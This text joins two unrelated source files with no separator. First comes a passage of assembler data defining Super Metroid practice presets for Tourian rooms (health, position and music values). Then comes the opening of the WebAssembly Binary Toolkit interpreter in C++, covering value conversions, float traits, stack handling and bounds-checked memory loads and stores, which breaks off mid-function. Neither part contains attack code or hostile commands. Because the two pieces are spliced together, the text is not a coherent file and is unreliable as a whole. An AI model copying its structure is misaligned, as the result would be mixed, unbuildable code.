$7E079B : db $02 : dw $DC65 ; MDB dl $7E07F3 : db $02 : dw $0045 ; Music Bank dl $7E07F5 : db $02 : dw $0006 ; Music Track dl $7E090F : db $02 : dw $D000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $5800 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $05BD ; Health dl $7E09CA : db $02 : dw $0029 ; Supers dl $7E09CE : db $02 : dw $0017 ; Pbs dl $7E09D6 : db $02 : dw $0157 ; Reserves dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $01B3 ; Samus X dl $7E0AFA : db $02 : dw $00AB ; Samus Y dl $7ED822 : db $02 : dw $002F ; Events, Items, Doors dl $7ED8C4 : db $02 : dw $000F ; Events, Items, Doors dw #$FFFF .after preset_100early_tourian_zeb_skip: dw #preset_100early_tourian_baby_skip ; Tourian: Baby Skip dl $7E078D : db $02 : dw $AAA4 ; DDB dl $7E079B : db $02 : dw $DDF3 ; MDB dl $7E07F3 : db $02 : dw $001E ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $F000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $021D ; Screen Y position in pixels dl $7E09CA : db $02 : dw $0026 ; Supers dl $7E0AF6 : db $02 : dw $0037 ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dl $7ED8C4 : db $02 : dw $03AF ; Events, Items, Doors dw #$FFFF .after preset_100early_tourian_escape_room_3: dw #preset_100early_tourian_zeb_skip ; Tourian: Zeb Skip dl $7E078D : db $02 : dw $AAEC ; DDB dl $7E079B : db $02 : dw $DE7A ; MDB dl $7E07F3 : db $02 : dw $0024 ; Music Bank dl $7E07F5 : db $02 : dw $0007 ; Music Track dl $7E090F : db $02 : dw $B000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $8000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels dl $7E09A6 : db $02 : dw $1009 ; Beams dl $7E09C2 : db $02 : dw $05DB ; Health dl $7E09C6 : db $02 : dw $008C ; Missiles dl $7E09CA : db $02 : dw $0000 ; Supers dl $7E09CE : db $02 : dw $0000 ; Pbs dl $7E09D6 : db $02 : dw $0190 ; Reserves dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0A76 : db $02 : dw $8000 ; Hyper beam dl $7E0AF6 : db $02 : dw $00DB ; Samus X dl $7E0AFA : db $02 : dw $01BB ; Samus Y dl $7ED820 : db $02 : dw $7FCD ; Events, Items, Doors dl $7ED82C : db $02 : dw $0203 ; Events, Items, Doors dw #$FFFF .after preset_100early_tourian_escape_room_4: dw #preset_100early_tourian_escape_room_3 ; Tourian: Escape Room 3 dl $7E078D : db $02 : dw $AB04 ; DDB dl $7E079B : db $02 : dw $DEA7 ; MDB dl $7E090F : db $02 : dw $3000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0500 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4C00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $001C ; Screen Y position in pixels dl $7E0AF6 : db $02 : dw $05D6 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dw #$FFFF .after preset_100early_tourian_escape_parlor: dw #preset_100early_tourian_escape_room_4 ; Tourian: Escape Room 4 dl $7E078D : db $02 : dw $AB34 ; DDB dl $7E079B : db $02 : dw $96BA ; MDB dl $7E079F : db $02 : dw $0000 ; Region dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers dl $7E090F : db $02 : dw $E000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $A401 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0548 ; Health dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $019A ; Samus X dl $7E0AFA : db $02 : dw $005B ; Samus Y dl $7ED90C : db $02 : dw $FF00 ; Events, Items, Doors dw #$FFFF .after
/* * Copyright 2016 WebAssembly Community Group participants * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "src/interp/interp.h" #include <algorithm> #include <cassert> #include <cinttypes> #include <cmath> #include <limits> #include <type_traits> #include <vector> #include "src/interp/interp-internal.h" #include "src/cast.h" #include "src/stream.h" namespace wabt { namespace interp { // Differs from the normal CHECK_RESULT because this one is meant to return the // interp Result type. #undef CHECK_RESULT #define CHECK_RESULT(expr) \ do { \ if (WABT_FAILED(expr)) { \ return Result::Error; \ } \ } while (0) // Differs from CHECK_RESULT since it can return different traps, not just // Error. Also uses __VA_ARGS__ so templates can be passed without surrounding // parentheses. #define CHECK_TRAP(...) \ do { \ Result result = (__VA_ARGS__); \ if (result != Result::Ok) { \ return result; \ } \ } while (0) std::string TypedValueToString(const TypedValue& tv) { switch (tv.type) { case Type::I32: return StringPrintf("i32:%u", tv.get_i32()); case Type::I64: return StringPrintf("i64:%" PRIu64, tv.get_i64()); case Type::F32: { return StringPrintf("f32:%f", tv.get_f32()); } case Type::F64: { return StringPrintf("f64:%f", tv.get_f64()); } case Type::V128: return StringPrintf("v128:0x%08x 0x%08x 0x%08x 0x%08x", tv.value.v128_bits.v[0], tv.value.v128_bits.v[1], tv.value.v128_bits.v[2], tv.value.v128_bits.v[3]); default: WABT_UNREACHABLE; } } void WriteTypedValue(Stream* stream, const TypedValue& tv) { std::string s = TypedValueToString(tv); stream->WriteData(s.data(), s.size()); } void WriteTypedValues(Stream* stream, const TypedValues& values) { for (size_t i = 0; i < values.size(); ++i) { WriteTypedValue(stream, values[i]); if (i != values.size() - 1) { stream->Writef(", "); } } } #define V(name, str) str, static const char* s_trap_strings[] = {FOREACH_INTERP_RESULT(V)}; #undef V const char* ResultToString(Result result) { return s_trap_strings[static_cast<size_t>(result)]; } void WriteResult(Stream* stream, const char* desc, Result result) { stream->Writef("%s: %s\n", desc, ResultToString(result)); } void WriteCall(Stream* stream, string_view module_name, string_view func_name, const TypedValues& args, const TypedValues& results, Result result) { if (!module_name.empty()) { stream->Writef(PRIstringview ".", WABT_PRINTF_STRING_VIEW_ARG(module_name)); } stream->Writef(PRIstringview "(", WABT_PRINTF_STRING_VIEW_ARG(func_name)); WriteTypedValues(stream, args); stream->Writef(") =>"); if (result == Result::Ok) { if (results.size() > 0) { stream->Writef(" "); WriteTypedValues(stream, results); } stream->Writef("\n"); } else { WriteResult(stream, " error", result); } } Environment::Environment() : istream_(new OutputBuffer()) {} Index Environment::FindModuleIndex(string_view name) const { auto iter = module_bindings_.find(name.to_string()); if (iter == module_bindings_.end()) { return kInvalidIndex; } return iter->second.index; } Module* Environment::FindModule(string_view name) { Index index = FindModuleIndex(name); return index == kInvalidIndex ? nullptr : modules_[index].get(); } Module* Environment::FindRegisteredModule(string_view name) { auto iter = registered_module_bindings_.find(name.to_string()); if (iter == registered_module_bindings_.end()) { return nullptr; } return modules_[iter->second.index].get(); } Thread::Options::Options(uint32_t value_stack_size, uint32_t call_stack_size) : value_stack_size(value_stack_size), call_stack_size(call_stack_size) {} Thread::Thread(Environment* env, const Options& options) : env_(env), value_stack_(options.value_stack_size), call_stack_(options.call_stack_size) {} FuncSignature::FuncSignature(std::vector<Type> param_types, std::vector<Type> result_types) : param_types(param_types), result_types(result_types) {} FuncSignature::FuncSignature(Index param_count, Type* param_types, Index result_count, Type* result_types) : param_types(param_types, param_types + param_count), result_types(result_types, result_types + result_count) {} Module::Module(bool is_host) : memory_index(kInvalidIndex), table_index(kInvalidIndex), is_host(is_host) {} Module::Module(string_view name, bool is_host) : name(name.to_string()), memory_index(kInvalidIndex), table_index(kInvalidIndex), is_host(is_host) {} Export* Module::GetFuncExport(Environment* env, string_view name, Index sig_index) { auto range = export_bindings.equal_range(name.to_string()); for (auto iter = range.first; iter != range.second; ++iter) { const Binding& binding = iter->second; Export* export_ = &exports[binding.index]; if (export_->kind == ExternalKind::Func) { const Func* func = env->GetFunc(export_->index); if (env->FuncSignaturesAreEqual(sig_index, func->sig_index)) { return export_; } } } // No match; check whether the module wants to spontaneously create a // function of this name and signature. Index index = OnUnknownFuncExport(name, sig_index); if (index != kInvalidIndex) { Export* export_ = &exports[index]; assert(export_->kind == ExternalKind::Func); const Func* func = env->GetFunc(export_->index); WABT_USE(func); assert(env->FuncSignaturesAreEqual(sig_index, func->sig_index)); return export_; } return nullptr; } Export* Module::GetExport(string_view name) { int field_index = export_bindings.FindIndex(name); if (field_index < 0) { return nullptr; } return &exports[field_index]; } Index Module::AppendExport(ExternalKind kind, Index item_index, string_view name) { exports.emplace_back(name, kind, item_index); Export* export_ = &exports.back(); export_bindings.emplace(export_->name, Binding(exports.size() - 1)); return exports.size() - 1; } DefinedModule::DefinedModule() : Module(false), start_func_index(kInvalidIndex), istream_start(kInvalidIstreamOffset), istream_end(kInvalidIstreamOffset) {} HostModule::HostModule(Environment* env, string_view name) : Module(name, true), env_(env) {} Index HostModule::OnUnknownFuncExport(string_view name, Index sig_index) { if (on_unknown_func_export) { return on_unknown_func_export(env_, this, name, sig_index); } return kInvalidIndex; } std::pair<HostFunc*, Index> HostModule::AppendFuncExport( string_view name, const FuncSignature& sig, HostFunc::Callback callback) { // TODO(binji): dedupe signature? env_->EmplaceBackFuncSignature(sig); Index sig_index = env_->GetFuncSignatureCount() - 1; return AppendFuncExport(name, sig_index, callback); } std::pair<HostFunc*, Index> HostModule::AppendFuncExport( string_view name, Index sig_index, HostFunc::Callback callback) { auto* host_func = new HostFunc(this->name, name, sig_index, callback); env_->EmplaceBackFunc(host_func); Index func_env_index = env_->GetFuncCount() - 1; Index export_index = AppendExport(ExternalKind::Func, func_env_index, name); return {host_func, export_index}; } std::pair<Table*, Index> HostModule::AppendTableExport(string_view name, const Limits& limits) { Table* table = env_->EmplaceBackTable(limits); Index table_env_index = env_->GetTableCount() - 1; Index export_index = AppendExport(ExternalKind::Table, table_env_index, name); return {table, export_index}; } std::pair<Memory*, Index> HostModule::AppendMemoryExport(string_view name, const Limits& limits) { Memory* memory = env_->EmplaceBackMemory(limits); Index memory_env_index = env_->GetMemoryCount() - 1; Index export_index = AppendExport(ExternalKind::Memory, memory_env_index, name); return {memory, export_index}; } std::pair<Global*, Index> HostModule::AppendGlobalExport(string_view name, Type type, bool mutable_) { Global* global = env_->EmplaceBackGlobal(TypedValue(type), mutable_); Index global_env_index = env_->GetGlobalCount() - 1; Index export_index = AppendExport(ExternalKind::Global, global_env_index, name); return {global, export_index}; } std::pair<Global*, Index> HostModule::AppendGlobalExport(string_view name, bool mutable_, uint32_t value) { std::pair<Global*, Index> pair = AppendGlobalExport(name, Type::I32, mutable_); pair.first->typed_value.set_i32(value); return pair; } std::pair<Global*, Index> HostModule::AppendGlobalExport(string_view name, bool mutable_, uint64_t value) { std::pair<Global*, Index> pair = AppendGlobalExport(name, Type::I64, mutable_); pair.first->typed_value.set_i64(value); return pair; } std::pair<Global*, Index> HostModule::AppendGlobalExport(string_view name, bool mutable_, float value) { std::pair<Global*, Index> pair = AppendGlobalExport(name, Type::F32, mutable_); pair.first->typed_value.set_f32(value); return pair; } std::pair<Global*, Index> HostModule::AppendGlobalExport(string_view name, bool mutable_, double value) { std::pair<Global*, Index> pair = AppendGlobalExport(name, Type::F64, mutable_); pair.first->typed_value.set_f64(value); return pair; } Environment::MarkPoint Environment::Mark() { MarkPoint mark; mark.modules_size = modules_.size(); mark.sigs_size = sigs_.size(); mark.funcs_size = funcs_.size(); mark.memories_size = memories_.size(); mark.tables_size = tables_.size(); mark.globals_size = globals_.size(); mark.istream_size = istream_->data.size(); return mark; } void Environment::ResetToMarkPoint(const MarkPoint& mark) { // Destroy entries in the binding hash. for (size_t i = mark.modules_size; i < modules_.size(); ++i) { std::string name = modules_[i]->name; if (!name.empty()) { module_bindings_.erase(name); } } // registered_module_bindings_ maps from an arbitrary name to a module index, // so we have to iterate through the entire table to find entries to remove. auto iter = registered_module_bindings_.begin(); while (iter != registered_module_bindings_.end()) { if (iter->second.index >= mark.modules_size) { iter = registered_module_bindings_.erase(iter); } else { ++iter; } } modules_.erase(modules_.begin() + mark.modules_size, modules_.end()); sigs_.erase(sigs_.begin() + mark.sigs_size, sigs_.end()); funcs_.erase(funcs_.begin() + mark.funcs_size, funcs_.end()); memories_.erase(memories_.begin() + mark.memories_size, memories_.end()); tables_.erase(tables_.begin() + mark.tables_size, tables_.end()); globals_.erase(globals_.begin() + mark.globals_size, globals_.end()); istream_->data.resize(mark.istream_size); } HostModule* Environment::AppendHostModule(string_view name) { HostModule* module = new HostModule(this, name); modules_.emplace_back(module); registered_module_bindings_.emplace(name.to_string(), Binding(modules_.size() - 1)); return module; } uint32_t ToRep(bool x) { return x ? 1 : 0; } uint32_t ToRep(uint32_t x) { return x; } uint64_t ToRep(uint64_t x) { return x; } uint32_t ToRep(int32_t x) { return Bitcast<uint32_t>(x); } uint64_t ToRep(int64_t x) { return Bitcast<uint64_t>(x); } uint32_t ToRep(float x) { return Bitcast<uint32_t>(x); } uint64_t ToRep(double x) { return Bitcast<uint64_t>(x); } v128 ToRep(v128 x) { return Bitcast<v128>(x); } template <typename Dst, typename Src> Dst FromRep(Src x); template <> uint32_t FromRep<uint32_t>(uint32_t x) { return x; } template <> uint64_t FromRep<uint64_t>(uint64_t x) { return x; } template <> int32_t FromRep<int32_t>(uint32_t x) { return Bitcast<int32_t>(x); } template <> int64_t FromRep<int64_t>(uint64_t x) { return Bitcast<int64_t>(x); } template <> float FromRep<float>(uint32_t x) { return Bitcast<float>(x); } template <> double FromRep<double>(uint64_t x) { return Bitcast<double>(x); } template <> v128 FromRep<v128>(v128 x) { return Bitcast<v128>(x); } template <typename T> struct FloatTraits; template <typename R, typename T> bool IsConversionInRange(ValueTypeRep<T> bits); /* 3 32222222 222...00 * 1 09876543 210...10 * ------------------- * 0 00000000 000...00 => 0x00000000 => 0 * 0 10011101 111...11 => 0x4effffff => 2147483520 (~INT32_MAX) * 0 10011110 000...00 => 0x4f000000 => 2147483648 * 0 10011110 111...11 => 0x4f7fffff => 4294967040 (~UINT32_MAX) * 0 10111110 111...11 => 0x5effffff => 9223371487098961920 (~INT64_MAX) * 0 10111110 000...00 => 0x5f000000 => 9223372036854775808 * 0 10111111 111...11 => 0x5f7fffff => 18446742974197923840 (~UINT64_MAX) * 0 10111111 000...00 => 0x5f800000 => 18446744073709551616 * 0 11111111 000...00 => 0x7f800000 => inf * 0 11111111 000...01 => 0x7f800001 => nan(0x1) * 0 11111111 111...11 => 0x7fffffff => nan(0x7fffff) * 1 00000000 000...00 => 0x80000000 => -0 * 1 01111110 111...11 => 0xbf7fffff => -1 + ulp (~UINT32_MIN, ~UINT64_MIN) * 1 01111111 000...00 => 0xbf800000 => -1 * 1 10011110 000...00 => 0xcf000000 => -2147483648 (INT32_MIN) * 1 10111110 000...00 => 0xdf000000 => -9223372036854775808 (INT64_MIN) * 1 11111111 000...00 => 0xff800000 => -inf * 1 11111111 000...01 => 0xff800001 => -nan(0x1) * 1 11111111 111...11 => 0xffffffff => -nan(0x7fffff) */ template <> struct FloatTraits<float> { static const uint32_t kMax = 0x7f7fffffU; static const uint32_t kInf = 0x7f800000U; static const uint32_t kNegMax = 0xff7fffffU; static const uint32_t kNegInf = 0xff800000U; static const uint32_t kNegOne = 0xbf800000U; static const uint32_t kNegZero = 0x80000000U; static const uint32_t kQuietNan = 0x7fc00000U; static const uint32_t kQuietNegNan = 0xffc00000U; static const uint32_t kQuietNanBit = 0x00400000U; static const int kSigBits = 23; static const uint32_t kSigMask = 0x7fffff; static const uint32_t kSignMask = 0x80000000U; static bool IsNan(uint32_t bits) { return (bits > kInf && bits < kNegZero) || (bits > kNegInf); } static bool IsZero(uint32_t bits) { return bits == 0 || bits == kNegZero; } static bool IsCanonicalNan(uint32_t bits) { return bits == kQuietNan || bits == kQuietNegNan; } static bool IsArithmeticNan(uint32_t bits) { return (bits & kQuietNan) == kQuietNan; } }; bool IsCanonicalNan(uint32_t bits) { return FloatTraits<float>::IsCanonicalNan(bits); } bool IsArithmeticNan(uint32_t bits) { return FloatTraits<float>::IsArithmeticNan(bits); } template <> bool IsConversionInRange<int32_t, float>(uint32_t bits) { return (bits < 0x4f000000U) || (bits >= FloatTraits<float>::kNegZero && bits <= 0xcf000000U); } template <> bool IsConversionInRange<int64_t, float>(uint32_t bits) { return (bits < 0x5f000000U) || (bits >= FloatTraits<float>::kNegZero && bits <= 0xdf000000U); } template <> bool IsConversionInRange<uint32_t, float>(uint32_t bits) { return (bits < 0x4f800000U) || (bits >= FloatTraits<float>::kNegZero && bits < FloatTraits<float>::kNegOne); } template <> bool IsConversionInRange<uint64_t, float>(uint32_t bits) { return (bits < 0x5f800000U) || (bits >= FloatTraits<float>::kNegZero && bits < FloatTraits<float>::kNegOne); } /* * 6 66655555555 5544..2..222221...000 * 3 21098765432 1098..9..432109...210 * ----------------------------------- * 0 00000000000 0000..0..000000...000 0x0000000000000000 => 0 * 0 10000011101 1111..1..111000...000 0x41dfffffffc00000 => 2147483647 (INT32_MAX) * 0 10000011110 1111..1..111100...000 0x41efffffffe00000 => 4294967295 (UINT32_MAX) * 0 10000111101 1111..1..111111...111 0x43dfffffffffffff => 9223372036854774784 (~INT64_MAX) * 0 10000111110 0000..0..000000...000 0x43e0000000000000 => 9223372036854775808 * 0 10000111110 1111..1..111111...111 0x43efffffffffffff => 18446744073709549568 (~UINT64_MAX) * 0 10000111111 0000..0..000000...000 0x43f0000000000000 => 18446744073709551616 * 0 10001111110 1111..1..000000...000 0x47efffffe0000000 => 3.402823e+38 (FLT_MAX) * 0 11111111111 0000..0..000000...000 0x7ff0000000000000 => inf * 0 11111111111 0000..0..000000...001 0x7ff0000000000001 => nan(0x1) * 0 11111111111 1111..1..111111...111 0x7fffffffffffffff => nan(0xfff...) * 1 00000000000 0000..0..000000...000 0x8000000000000000 => -0 * 1 01111111110 1111..1..111111...111 0xbfefffffffffffff => -1 + ulp (~UINT32_MIN, ~UINT64_MIN) * 1 01111111111 0000..0..000000...000 0xbff0000000000000 => -1 * 1 10000011110 0000..0..000000...000 0xc1e0000000000000 => -2147483648 (INT32_MIN) * 1 10000111110 0000..0..000000...000 0xc3e0000000000000 => -9223372036854775808 (INT64_MIN) * 1 10001111110 1111..1..000000...000 0xc7efffffe0000000 => -3.402823e+38 (-FLT_MAX) * 1 11111111111 0000..0..000000...000 0xfff0000000000000 => -inf * 1 11111111111 0000..0..000000...001 0xfff0000000000001 => -nan(0x1) * 1 11111111111 1111..1..111111...111 0xffffffffffffffff => -nan(0xfff...) */ template <> struct FloatTraits<double> { static const uint64_t kInf = 0x7ff0000000000000ULL; static const uint64_t kNegInf = 0xfff0000000000000ULL; static const uint64_t kNegOne = 0xbff0000000000000ULL; static const uint64_t kNegZero = 0x8000000000000000ULL; static const uint64_t kQuietNan = 0x7ff8000000000000ULL; static const uint64_t kQuietNegNan = 0xfff8000000000000ULL; static const uint64_t kQuietNanBit = 0x0008000000000000ULL; static const int kSigBits = 52; static const uint64_t kSigMask = 0xfffffffffffffULL; static const uint64_t kSignMask = 0x8000000000000000ULL; static bool IsNan(uint64_t bits) { return (bits > kInf && bits < kNegZero) || (bits > kNegInf); } static bool IsZero(uint64_t bits) { return bits == 0 || bits == kNegZero; } static bool IsCanonicalNan(uint64_t bits) { return bits == kQuietNan || bits == kQuietNegNan; } static bool IsArithmeticNan(uint64_t bits) { return (bits & kQuietNan) == kQuietNan; } }; bool IsCanonicalNan(uint64_t bits) { return FloatTraits<double>::IsCanonicalNan(bits); } bool IsArithmeticNan(uint64_t bits) { return FloatTraits<double>::IsArithmeticNan(bits); } template <> bool IsConversionInRange<int32_t, double>(uint64_t bits) { return (bits <= 0x41dfffffffc00000ULL) || (bits >= FloatTraits<double>::kNegZero && bits <= 0xc1e0000000000000ULL); } template <> bool IsConversionInRange<int64_t, double>(uint64_t bits) { return (bits < 0x43e0000000000000ULL) || (bits >= FloatTraits<double>::kNegZero && bits <= 0xc3e0000000000000ULL); } template <> bool IsConversionInRange<uint32_t, double>(uint64_t bits) { return (bits <= 0x41efffffffe00000ULL) || (bits >= FloatTraits<double>::kNegZero && bits < FloatTraits<double>::kNegOne); } template <> bool IsConversionInRange<uint64_t, double>(uint64_t bits) { return (bits < 0x43f0000000000000ULL) || (bits >= FloatTraits<double>::kNegZero && bits < FloatTraits<double>::kNegOne); } template <> bool IsConversionInRange<float, double>(uint64_t bits) { return (bits <= 0x47efffffe0000000ULL) || (bits >= FloatTraits<double>::kNegZero && bits <= 0xc7efffffe0000000ULL); } // The WebAssembly rounding mode means that these values (which are > F32_MAX) // should be rounded to F32_MAX and not set to infinity. Unfortunately, UBSAN // complains that the value is not representable as a float, so we'll special // case them. bool IsInRangeF64DemoteF32RoundToF32Max(uint64_t bits) { return bits > 0x47efffffe0000000ULL && bits < 0x47effffff0000000ULL; } bool IsInRangeF64DemoteF32RoundToNegF32Max(uint64_t bits) { return bits > 0xc7efffffe0000000ULL && bits < 0xc7effffff0000000ULL; } template <typename T, typename MemType> struct ExtendMemType; template<> struct ExtendMemType<uint32_t, uint8_t> { typedef uint32_t type; }; template<> struct ExtendMemType<uint32_t, int8_t> { typedef int32_t type; }; template<> struct ExtendMemType<uint32_t, uint16_t> { typedef uint32_t type; }; template<> struct ExtendMemType<uint32_t, int16_t> { typedef int32_t type; }; template<> struct ExtendMemType<uint32_t, uint32_t> { typedef uint32_t type; }; template<> struct ExtendMemType<uint32_t, int32_t> { typedef int32_t type; }; template<> struct ExtendMemType<uint64_t, uint8_t> { typedef uint64_t type; }; template<> struct ExtendMemType<uint64_t, int8_t> { typedef int64_t type; }; template<> struct ExtendMemType<uint64_t, uint16_t> { typedef uint64_t type; }; template<> struct ExtendMemType<uint64_t, int16_t> { typedef int64_t type; }; template<> struct ExtendMemType<uint64_t, uint32_t> { typedef uint64_t type; }; template<> struct ExtendMemType<uint64_t, int32_t> { typedef int64_t type; }; template<> struct ExtendMemType<uint64_t, uint64_t> { typedef uint64_t type; }; template<> struct ExtendMemType<uint64_t, int64_t> { typedef int64_t type; }; template<> struct ExtendMemType<float, float> { typedef float type; }; template<> struct ExtendMemType<double, double> { typedef double type; }; template<> struct ExtendMemType<v128, v128> { typedef v128 type; }; template <typename T, typename MemType> struct WrapMemType; template<> struct WrapMemType<uint32_t, uint8_t> { typedef uint8_t type; }; template<> struct WrapMemType<uint32_t, uint16_t> { typedef uint16_t type; }; template<> struct WrapMemType<uint32_t, uint32_t> { typedef uint32_t type; }; template<> struct WrapMemType<uint64_t, uint8_t> { typedef uint8_t type; }; template<> struct WrapMemType<uint64_t, uint16_t> { typedef uint16_t type; }; template<> struct WrapMemType<uint64_t, uint32_t> { typedef uint32_t type; }; template<> struct WrapMemType<uint64_t, uint64_t> { typedef uint64_t type; }; template<> struct WrapMemType<float, float> { typedef uint32_t type; }; template<> struct WrapMemType<double, double> { typedef uint64_t type; }; template<> struct WrapMemType<v128, v128> { typedef v128 type; }; template <typename T> Value MakeValue(ValueTypeRep<T>); template <> Value MakeValue<uint32_t>(uint32_t v) { Value result; result.i32 = v; return result; } template <> Value MakeValue<int32_t>(uint32_t v) { Value result; result.i32 = v; return result; } template <> Value MakeValue<uint64_t>(uint64_t v) { Value result; result.i64 = v; return result; } template <> Value MakeValue<int64_t>(uint64_t v) { Value result; result.i64 = v; return result; } template <> Value MakeValue<float>(uint32_t v) { Value result; result.f32_bits = v; return result; } template <> Value MakeValue<double>(uint64_t v) { Value result; result.f64_bits = v; return result; } template <> Value MakeValue<v128>(v128 v) { Value result; result.v128_bits = v; return result; } template <typename T> ValueTypeRep<T> GetValue(Value); template<> uint32_t GetValue<int32_t>(Value v) { return v.i32; } template<> uint32_t GetValue<uint32_t>(Value v) { return v.i32; } template<> uint64_t GetValue<int64_t>(Value v) { return v.i64; } template<> uint64_t GetValue<uint64_t>(Value v) { return v.i64; } template<> uint32_t GetValue<float>(Value v) { return v.f32_bits; } template<> uint64_t GetValue<double>(Value v) { return v.f64_bits; } template<> v128 GetValue<v128>(Value v) { return v.v128_bits; } #define TRAP(type) return Result::Trap##type #define TRAP_UNLESS(cond, type) TRAP_IF(!(cond), type) #define TRAP_IF(cond, type) \ do { \ if (WABT_UNLIKELY(cond)) { \ TRAP(type); \ } \ } while (0) #define CHECK_STACK() \ TRAP_IF(value_stack_top_ >= value_stack_.size(), ValueStackExhausted) #define PUSH_NEG_1_AND_BREAK_IF(cond) \ if (WABT_UNLIKELY(cond)) { \ CHECK_TRAP(Push<int32_t>(-1)); \ break; \ } #define GOTO(offset) pc = &istream[offset] Memory* Thread::ReadMemory(const uint8_t** pc) { Index memory_index = ReadU32(pc); return &env_->memories_[memory_index]; } template <typename MemType> Result Thread::GetAccessAddress(const uint8_t** pc, void** out_address) { Memory* memory = ReadMemory(pc); uint64_t addr = static_cast<uint64_t>(Pop<uint32_t>()) + ReadU32(pc); TRAP_IF(addr + sizeof(MemType) > memory->data.size(), MemoryAccessOutOfBounds); *out_address = memory->data.data() + static_cast<IstreamOffset>(addr); return Result::Ok; } template <typename MemType> Result Thread::GetAtomicAccessAddress(const uint8_t** pc, void** out_address) { Memory* memory = ReadMemory(pc); uint64_t addr = static_cast<uint64_t>(Pop<uint32_t>()) + ReadU32(pc); TRAP_IF(addr + sizeof(MemType) > memory->data.size(), MemoryAccessOutOfBounds); TRAP_IF((addr & (sizeof(MemType) - 1)) != 0, AtomicMemoryAccessUnaligned); *out_address = memory->data.data() + static_cast<IstreamOffset>(addr); return Result::Ok; } Value& Thread::Top() { return Pick(1); } Value& Thread::Pick(Index depth) { return value_stack_[value_stack_top_ - depth]; } void Thread::Reset() { pc_ = 0; value_stack_top_ = 0; call_stack_top_ = 0; } Result Thread::Push(Value value) { CHECK_STACK(); value_stack_[value_stack_top_++] = value; return Result::Ok; } Value Thread::Pop() { return value_stack_[--value_stack_top_]; } Value Thread::ValueAt(Index at) const { assert(at < value_stack_top_); return value_stack_[at]; } template <typename T> Result Thread::Push(T value) { return PushRep<T>(ToRep(value)); } template <typename T> T Thread::Pop() { return FromRep<T>(PopRep<T>()); } template <typename T> Result Thread::PushRep(ValueTypeRep<T> value) { return Push(MakeValue<T>(value)); } template <typename T> ValueTypeRep<T> Thread::PopRep() { return GetValue<T>(Pop()); } void Thread::DropKeep(uint32_t drop_count, uint32_t keep_count) { // Copy backward to avoid clobbering when the regions overlap. for (uint32_t i = keep_count; i > 0; --i) { Pick(drop_count + i) = Pick(i); } value_stack_top_ -= drop_count; } Result Thread::PushCall(const uint8_t* pc) { TRAP_IF(call_stack_top_ >= call_stack_.size(), CallStackExhausted); call_stack_[call_stack_top_++] = pc - GetIstream(); return Result::Ok; } IstreamOffset Thread::PopCall() { return call_stack_[--call_stack_top_]; } template <typename T> void LoadFromMemory(T* dst, const void* src) { memcpy(dst, src, sizeof(T)); } template <typename T> void StoreToMemory(void* dst, T value) { memcpy(dst, &value, sizeof(T)); } template <typename MemType, typename ResultType> Result Thread::Load(const uint8_t** pc) { typedef typename ExtendMemType<ResultType, MemType>::type ExtendedType; static_assert(std::is_floating_point<MemType>::value == std::is_floating_point<ExtendedType>::value, "Extended type should be float iff MemType is float"); void* src; CHECK_TRAP(GetAccessAddress<MemType>(pc, &src)); MemType value; LoadFromMemory<MemType>(&value, src); return Push<ResultType>(static_cast<ExtendedType>(value)); } template <typename MemType, typename ResultType> Result Thread::Store(const uint8_t** pc) { typedef typename WrapMemType<ResultType, MemType>::type WrappedType; WrappedType value = PopRep<ResultType>(); void* dst; CHECK_TRAP(GetAccessAddress<MemType>(pc, &dst)); StoreToMemory<WrappedType>(dst, value); return Result::Ok; } template <typename MemType, typename ResultType> Result Thread::AtomicLoad(const uint8_t** pc) { typedef typename ExtendMemType<ResultType, MemType>::type ExtendedType; static_assert(!std::is_floating_point<MemType>::value, "AtomicLoad type can't be float"); void* src; CHECK_TRAP(GetAtomicAccessAddress<MemType>(pc, &src)); MemType value; LoadFromMemory<MemType>(&value, src); return Push<ResultType>(static_cast<ExtendedType>(value)); } template <typename MemType, typename ResultType> Result Thread::AtomicStore(const uint8_t** pc) { typedef typename WrapMemType<ResultType, MemType>::type WrappedType; WrappedType value = PopRep<ResultType>(); void* dst; CHECK_TRAP(GetAtomicAccessAddress<MemType>(pc, &dst)); StoreToMemory<WrappedType>(dst, value); return Result::Ok; } template <typename MemType, typename ResultType> Result Thread::AtomicRmw(BinopFunc<ResultType, ResultType> func, const uint8_t** pc) { typedef typename ExtendMemType<ResultType, MemType>::type ExtendedType; MemType rhs = PopRep<ResultType>(); void* addr; CHECK_TRAP(GetAtomicAccessAddress<MemType>(pc, &addr)); MemType read; LoadFromMemory<MemType>(&read, addr); StoreToMemory<MemType>(addr, func(read, rhs)); return Push<ResultType>(static_cast<ExtendedType>(read)); } template <typename MemType, typename ResultType> Result Thread::AtomicRmwCmpxchg(const 